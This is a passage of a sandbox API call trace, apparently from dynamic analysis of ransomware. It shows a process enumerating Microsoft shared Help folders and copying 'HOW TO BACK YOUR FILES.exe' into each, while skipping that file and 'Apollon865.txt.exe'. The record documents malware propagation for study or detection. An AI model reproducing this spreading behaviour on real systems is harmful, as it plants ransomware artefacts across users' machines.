	[0056.262] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x399b9230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x399b9230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.262] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.262] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.262] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help"
	[0056.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0056.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0056.262] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help") returned 57
	[0056.262] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help"
	[0056.262] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.262] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.270] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.270] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x399b9230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x399b9230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.270] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.270] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.271] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082"
	[0056.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0056.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0056.271] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082") returned 62
	[0056.271] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082"
	[0056.271] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.276] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.276] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x399df390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x399df390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.277] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.277] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052"
	[0056.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0056.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0056.277] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052") returned 62
	[0056.277] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052"
	[0056.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.281] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.281] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x399df390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x399df390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.281] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.281] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.281] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049"
	[0056.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0056.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0056.281] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049") returned 62
	[0056.281] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049"
	[0056.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.290] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a054f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a054f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.291] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.291] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.291] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046"
	[0056.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0056.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0056.291] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046") returned 62
	[0056.291] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046"
	[0056.291] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.291] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.295] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.295] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a054f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a054f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.295] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.295] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.295] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042"
	[0056.295] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0056.295] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0056.295] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042") returned 62
	[0056.295] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042"
	[0056.295] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.295] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.301] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.301] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a054f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a054f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.302] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.302] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.302] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041"
	[0056.302] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0056.302] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0056.303] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041") returned 62
	[0056.303] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041"
	[0056.303] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.303] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.306] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.306] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a2b650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a2b650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.307] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.307] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.307] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040"
	[0056.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0056.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.307] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040") returned 62
	[0056.307] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040"
	[0056.307] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.307] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.316] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.317] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a2b650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a2b650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.317] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.317] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.317] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036"
	[0056.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0056.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.317] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036") returned 62
	[0056.317] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036"
	[0056.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.321] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.321] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a517b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a517b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.321] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.321] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.321] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033"
	[0056.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0056.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.322] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033") returned 62
	[0056.322] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033"
	[0056.322] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.322] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.325] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.325] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a517b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a517b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.326] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.326] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.326] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031"
	[0056.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0056.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0056.326] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031") returned 62
	[0056.326] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031"
	[0056.326] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.326] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.355] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.355] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x39a9da70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39a9da70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.356] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.356] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.356] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028"
	[0056.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0056.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0056.356] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028") returned 62
